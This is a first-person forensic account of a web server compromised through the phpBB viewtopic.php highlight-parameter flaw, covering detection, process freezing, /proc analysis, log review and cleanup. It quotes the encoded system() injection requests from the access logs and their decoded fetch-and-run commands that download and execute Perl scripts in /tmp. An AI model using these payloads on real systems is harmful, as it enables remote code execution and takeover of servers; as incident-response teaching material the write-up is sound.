phpBB viewtopic.php Vulnerability Hack and Forensic Followup

by Marion Bates <mbates at>

This document describes a server compromise caused by a vulnerability in phpBB, from my detection of the breakin, to the cleanup, analysis, and patch afterward. Most of these methods were explained to me by William Stearns , a Linux security expert. I am reprinting them here in hopes that they will be of use to someone else with similar problems.

NEW: Several readers have reported that Norton Antivirus and other AV programs report an IRC Trojan when this page is loaded. The page is not actually infected with anything; it contains, for illustrative purposes, the text of some IRC hacker files that I had found on the compromised server. Norton and other products see that data in the network traffic coming to your computer when you load the page in your browser, and they think it's an attack. But it's definitely not. I have now obscured that part of the page's content to stop this false alarm from being triggered.

NEW: Translate ascii-value-encoded web requests into human-readable format here.

Background. phpBB is a popular, open-source electronic bulletin board package that uses the powerful Hypertext PreProcessor (PHP) scripting language. Using a database (typically MySQL) as its back end, phpBB is a full-featured, searchable, flexible system for creating discussion "forums" with multiple levels of access privileges, the ability to split and move threads, endless modular customization, etc. Naturally, it has grown into a huge and fairly complex codebase, and its rising popularity has made it a target for blackhat exploits ranging from "spamming" (posting large numbers of unrelated messages in unprotected forums), to full-blown defacements and leveraging of database servers to launch attacks on other servers, as in the case of the recent "Santy" worm. From

The worm sends Google a specific search request, essentially asking for a list of vulnerable sites. Armed with the list, the worm then attempts to spread to those sites using a PHP request designed to exploit the phpBB bulletin board software. ... Using Google to determine vulnerable sites is not an academic exercise. The worm does exactly that: Once Santy infects a Web site, it searches Google for other sites running phpBB and then attempts to infect those sites as well. ... After it has taken over a site, the worm deletes all HTML, PHP, active server pages (ASP), Java server pages (JSP), and secure HTML pages, and replaces them with the text, "This site is defaced!!! This site is defaced!!! NeverEverNoSanity WebWorm generation X," according to Kaspersky [Lab]. For "X," the worm inserts a number representing how far the current instance of the program is descended from the original worm release. MSN searches have found 24th generations of the worm.

Google responded quickly and began to filter the specific queries used by the worm to find vulnerable sites, thus cutting down dramatically on the infection rate. However, as is often the case, the vulnerability leveraged by this worm can of course be utilized for manual attacks, and that appears to have been the case with my server, several weeks after the Santy worm had been reported.

I knew about the Santy worm, but I was slow to patch my installations. I run nearly a dozen phpBBs on my server (under virtual hosts, so each one is on a different domain). Some of them have had customizations ("mods) installed, making upgrades much more difficult and error-prone; some of these are mission-critical to the organizations whose websites I host. Also, the timing of the Santy worm (the news was posted the night before I left for a two-week vacation) was unfortunate.

My temporary stopgap, then, was to drop a .htaccess file into each of the top-level phpBB directories on my server, requiring an Apache-realm-level login and password to access the forums (this is on top of, and in addition to, any login requirements for phpBB itself; see this document for info about Apache realms.) I then created a simple login/pass pair for that realm ("forum"/"forum") and published it on my site's main page (and emailed it to all the users I could think of). Posting the login info on the main webpage is absurdly stupid; but, because the threat was (at this point) a worm, which was not programmed to "read" a webpage and act on that new information, I figured it would do for the time being, without impeding my users' needs. And, for two weeks, it worked. I got caught up in other things, news of the worm died down, and I didn't get around to patching phpBB.

My guess is that someone manually searching for phpBB installations came across my page and saw the password info. On the morning of Saturday, January 15th, sendmail (running on the same server as the phpBBs) stopped accepting connections; I shelled in to see why.

Discovery. Sendmail had stopped working because the process load on the server was way too high. I ran ps -auxf (show all processes, extended (processes without controlling ttys), with the user they're running as, in forest view (parent-child relationships). An excerpted and edited view of the results (should have more columns) showed a number of suspicious processes running as the "apache" user:

apache	14041 ?        R    134:08 /usr/local/apache/bin/smb -start
apache	14166 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	14167 ?        S      0:00  \_ sh -c perl 22 9000 2>&1 3>&1
apache	14168 ?        R    129:27      \_ perl 22 9000
apache	14173 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	14174 ?        S      0:00  \_ sh -c perl 80 9000 2>&1 3>&1
apache	14175 ?        R    129:14      \_ perl 80 9000
apache	14180 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	14181 ?        S      0:00  \_ sh -c perl 53 9000 2>&1 3>&1
apache	14182 ?        R    129:33      \_ perl 53 9000
apache	14778 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	14785 ?        S      0:00 ./kf
apache	15543 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	15544 ?        S      0:00  \_ sh -c perl 53 50 2>&1 3>&1
apache	15545 ?        R     95:58      \_ perl 53 50
apache	15611 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	15612 ?        S      0:00  \_ sh -c perl 80 9000 2>&1 3>&1
apache	15614 ?        R     93:41      \_ perl 80 9000
apache	15644 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	15645 ?        S      0:00  \_ sh -c perl 53 100 2>&1 3>&1
apache	15646 ?        R     93:19      \_ perl 53 100
apache	15686 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	15687 ?        S      0:00  \_ sh -c perl 53 100 2>&1 3>&1
apache	15689 ?        R     92:55      \_ perl 53 100
apache	15865 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	15866 ?        S      0:00  \_ sh -c perl  53 100 2>&1 3>&1
apache	15867 ?        R     90:25      \_ perl 53 100
apache	16094 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	16095 ?        S      0:00  \_ sh -c perl 53 90000 2>&1 3>&1
apache	16096 ?        R     85:36      \_ perl 53 90000
apache	16098 ?        S      0:00 sh -c (sleep 90000;killall -9 udp) &
apache	16099 ?        S      0:00  \_ sleep 90000
apache	16106 ?        S      0:00 /usr/local/apache/bin/smb -start
apache	16107 ?        S      0:00  \_ sh -c perl 80 90000 2>&1 3>&1
apache	16110 ?        R     85:34      \_ perl 80 90000
apache	16112 ?        S      0:00 sh -c (sleep 90000;killall -9 udp) &
apache	16113 ?        S      0:00  \_ sleep 90000

It was pretty obvious that something nasty was happening. I called Bill Stearns, and the rest that follows here was pretty much me doing what he said to do, and explaining the logic as he explained it to me. :)

Containment (the wrong way). Since the processes appeared to be sending some sort of traffic to several foreign IPs, the first priority was to stop that from happening, lest my server be seen as the source. It is worth noting at this point that, in this writeup, I am mostly condensing the stories of two separate instances of this compromise into one; the reality is that I got hacked twice within two days, and the real forensics only happened the second time. The first time, I just panicked and killed all the procs and didn't know what had happened. My panicky kill, if you're curious, was not as simple as it should've been, because for some reason, the scripts were impervious to the usual "killalls". I ended up doing the following:

ps auxf | grep apache | awk {'print $2'} | xargs kill -9
In other words, take all the apache-owned processes, filter out just their process ID's (the second column of output, therefore "$2"), and send a kill -9 to each. This is NOT the right approach if you want to find out any meaningful information about what's happened to your system; the right approach is detailed below.

After I nuked the bad processes, I spent a futile three hours combing through copious logfiles, but found nothing conclusive. I also looked for the script under the path that appeared in the process listing (/usr/local/apache/bin/smb), but my system didn't even have a /usr/local/apache directory. The only "smb" binary I had was under a completely different location, and had not been altered in months. I also could not find anything called "", even after I ran "updatedb" to update the "locate" database. It appears that updatedb is set to ignore directories beginning with dots, which makes sense since otherwise it could end up recursing through the normal single-dot and double-dot directories forever. (But it also seems that they could look for multi-dot directories other than those two, since this is such a common hacker trick. If I am misinterpreting here, please email me.) Anyway, I wasn't able to find out much.

At this point, I did not really suspect the phpBB vulnerability (since I'd password-protected the directories and expected only dumb worms to go after me), but rather I assumed it was one of my custom PHP scripts. So, focusing my attention on _those_ scripts, and not knowing what to look for, I found nothing. I decided to wait and see if I got nailed again, and I did.

Containment (the right way). The next morning, sendmail acted fine, but only because the hack had not yet consumed enough CPU to bring it to its knees. The same processes were running again, not necessarily directed at the same IPs, but it was obviously the same attack. This time, I ran:

kill -STOP processid
The -STOP parameter "freezes" the process, leaving it in memory, but stopping it from actually doing anything. So my server was no longer attacking its targets, but we could still examine the /proc/ entries (detailed below), which we could not do if we sent an all-out kill.

Analysis. Noting the process id of one of the instantiations of the bad processes (e.g. 3503), I went over to the /proc/ virtual directory to peek at the internals of the process itself:

-bash2-2.05b# cd /proc/3503
-bash2-2.05b# ls
auxv     cwd      exe  maps  mounts  stat   status  wchan
cmdline  environ  fd   mem   root    statm  task
The number and type of entries for each process will vary, and some of the entries are not human-readable (binary trash if you view them in "less"). But several can be very informative. I first looked at the "cwd" (current working directory) entry; unfortunately, I didn't save the output, but it revealed that the actual location of the script was "/var/tmp/", so I took a look:
-bash2-2.05b# cd /var/tmp
-bash2-2.05b# ls

There it is, But also...

-bash2-2.05b# ls -al
total 20
drwxrwxrwt    4 root     root         4096 Jan 15 03:34 .
drwxr-xr-x   20 root     root         4096 Apr  1  2004 ..
drwxr-xr-x    2 apache   apache       4096 Jan 13 16:42 ...
drwxr-xr-x    2 apache   apache       4096 Jan 15 03:35 ....
-rw-r--r--    1 apache   apache       1089 Jan 13 13:57

Directories named with dots are a telltale sign. They are hidden in a normal directory listing. Also not that they're apache-owned, and very recent. A recursive listing (ls -alR) revealed a copy of in each of the two subdirectories (triple and quadruple dot; the single and double dot dirs are normal.) I presume that there are multiples so that an administrator might blow away the visible one and think he was finished; or perhaps the bad guys were trampling each other, who knows. Running diff showed no differences between any of the copies of

The contents of are shown at the end of this document, here.

The next /proc entry to play with was "cmdline", which as you might expect, shows the command line with which the process was called. It's garbaged up a bit with non-readable characters (shown as carat-@sign here), but it's still revealing:


This shows the syntax used to run the script. Which is also apparent from the output of ps, but it tells us that the "/usr/local/apache" line is bogus, and was probably changed after the script launched in order to make it appear less suspicious in a casual process view.

More /proc coolness: In the "fd" (file descriptor) subdirectory, an ls showed a ton of integers. I ran ls -al to show that they are displayed as symlinks to a bunch of files. Excerpt:

-bash2-2.05b# ls -al
total 0
dr-x------    2 root     root            0 Jan 18 13:22 .
dr-xr-xr-x    3 apache   apache          0 Jan 18 13:22 ..
lr-x------    1 root     root           64 Jan 18 13:22 0 -> /dev/null
l-wx------    1 root     root           64 Jan 18 13:22 1 -> /dev/null
lrwx------    1 root     root           64 Jan 18 13:22 10 -> /var/log/httpd/
lrwx------    1 root     root           64 Jan 18 13:22 2 -> /var/log/httpd/error_log
lrwx------    1 root     root           64 Jan 18 13:22 3 -> socket:[4138103]
lrwx------    1 root     root           64 Jan 18 13:22 34 -> /var/log/httpd/ssl_error_log
l-wx------    1 root     root           64 Jan 18 13:22 35 -> /var/log/httpd/access_log
l-wx------    1 root     root           64 Jan 18 13:22 37 -> /var/log/httpd/
lrwx------    1 root     root           64 Jan 18 13:22 4 -> socket:[4138104]
l-wx------    1 root     root           64 Jan 18 13:22 37 -> /home/

Each of the files/sockets shown here, is or was opened by the process in question. The last one gave me the answer: The same script used by the Santy worm was in use by the webserver. (FIXME clarify "in use" here -- e.g. why aren't "viewed" webpages "in use")

That narrowed things down a lot. Since each virtual domain hosted on the server has a separate set of httpd logfiles, I was able to quickly find the compromise in the access log for that domain, by grepping for "viewtopic.php". There were several legitimate requests, but the bogus ones were easy to spot because of their ridiculous length: - - [13/Jan/2005:14:39:35 -0500] "GET /forums/viewtopic.php?t=20&highlight=%2527%252esystem(chr(101)%252echr(99)%
%252echr(105)%252echr(109))%252e%2527 HTTP/1.0" 200 29209 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"

and - - [09/Jan/2005:07:49:29 -0500] "GET /forums/viewtopic.php?p=35&highlight=%2527%252Esystem(chr(112)%252Echr(101)
Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 200 28319 "-" "Mozilla/4.0" - - [09/Jan/2005:07:49:31 -0500] "GET /forums/viewtopic.php?p=35&highlight=%2527%252Esystem(chr(119)%252Echr(103)
r(117)%252Echr(109)%252Echr(115)%252Echr(47)%252Echr(59))%252E%2527 HTTP/1.0" 200 51737 "-" "Mozilla/4.0" - - [09/Jan/2005:07:49:34 -0500] "GET /forums/viewtopic.php?p=35&highlight=%2527%252Esystem(chr(99)%252Echr(100)%
252Echr(111)%252Echr(114)%252Echr(117)%252Echr(109)%252Echr(115)%252Echr(47)%252Echr(59))%252E%2527 HTTP/1.0" 200 51949 "-" "Moz

The key indicator here is the word "system" occurring early in the GET request; many scripting languages, including PHP and Perl, use "system" to execute shell commands. The rest that follows are ASCII values representing alphanumeric characters which comprise the commands run on the system. There were a bunch (about 30) of these latter triplets in the access log, and a few instances of the former single request.

The single request translates to:

echo uncomeco;cd /tmp;fetch;perl dbase.txt;rm dbase.txt;echo unfim

The full text of dbase.txt is printed below. Sure enough, this script makes the process appear to be running from /usr/local/apache/smb. Cute!

The request triplets translate to:

perl -e "print q(jSVowMsd)"
wget; perl asw.txt;
cd /tmp; wget; perl asw.txt;

These triplets are the footprints of the anti-santy worm -- see below.

I poked around the /proc entry for awhile longer, then checked the contents of /tmp, which is world-writeable and therefore often the dumping ground for attack fallout. There were many interesting things in /tmp, owned by apache:

-bash2-2.05b# ls -al /tmp/ | grep apache
total 3532
-rw-r--r--    1 apache   apache       3341 Dec 30 06:00 asw.txt
-rw-r--r--    1 apache   apache    3338526 Jan 11 06:53 log.txt
-rw-r--r--    1 apache   apache      24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt
-rw-r--r--    1 apache   apache      24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.1
-rw-r--r--    1 apache   apache      24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.2
-rw-r--r--    1 apache   apache      24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.3
-rw-r--r--    1 apache   apache      24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.4
-rw-r--r--    1 apache   apache      24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.5

"asw.txt"? A quick peek at its first few lines (full text printed below) revealed its identity:

-bash2-2.05b# head asw.txt 
# asw:  anti santy worm
# this worm will try to fix any viewtopic.php on local box
# will use this box for 1 day to search other buggy phpBB forums, and end.

use strict;
use IO::Socket;
use IO::Handle;

sub fetch();
sub remote($);

Ha! The anti-santy worm! It had whacked me weeks earlier. The file "log.txt" belonged to it as well, and contained a huge (51,000 lines) list of phpBB installations that presumably it had checked and/or fixed. At the top of the logfile were entries for several of my phpBBs, but only one of them was marked "Fixed". Perhaps asw was unable to detect/fix the others because of mods or other alterations to the viewtopic.php script. The other files in /tmp, all identical except for the number appended to the filename, appear to be snapshots of a particular thread on a forum of some random website discussing culture, work, sex, etc. I have no idea why they're there. (Email me if you do, please!)

Recovery and Cleanup. I completely disabled the forum installation that had been used in the attack (renamed it and moved it out of webroot) until I can patch phpBB. I also deleted the apache account that I had posted on the main webpage. Since the webserver runs as the default, unprivileged "apache" user, the attackers had not been able to do any other damage, elevate their privileges, run any sniffers, etc. and after some perfunctory checks of the RPM database and other key pieces of server infrastructure, I was satisfied that the server was clean and that the attack would not be successful again (or at least, if it were, I'd be able to rapidly determine the source of the problem and disable it.)

Lessons Learned. Keep up with patches, and don't post login credentials on your website...duhhhhhhhh

Appendices. The files below are the actual scripts/programs I found on the server. The links will display plain text files in your browser, however, your antivirus software MAY flag the traffic since the scripts by definition contain known attack signatures. But they are just text files.

Appendix A: (UDP flood script). Click here for plain text copy. NOTE: content may trigger antivirus alert; it is safe to disregard.

Appendix B: asw.txt (anti-santy worm). Click here for plain text copy. NOTE: content may trigger antivirus alert; it is safe to disregard.

Appendix C: dbase.txt (IRC server backdoor script). Click here for plain text copy. NOTE: content may trigger antivirus alert; it is safe to disregard.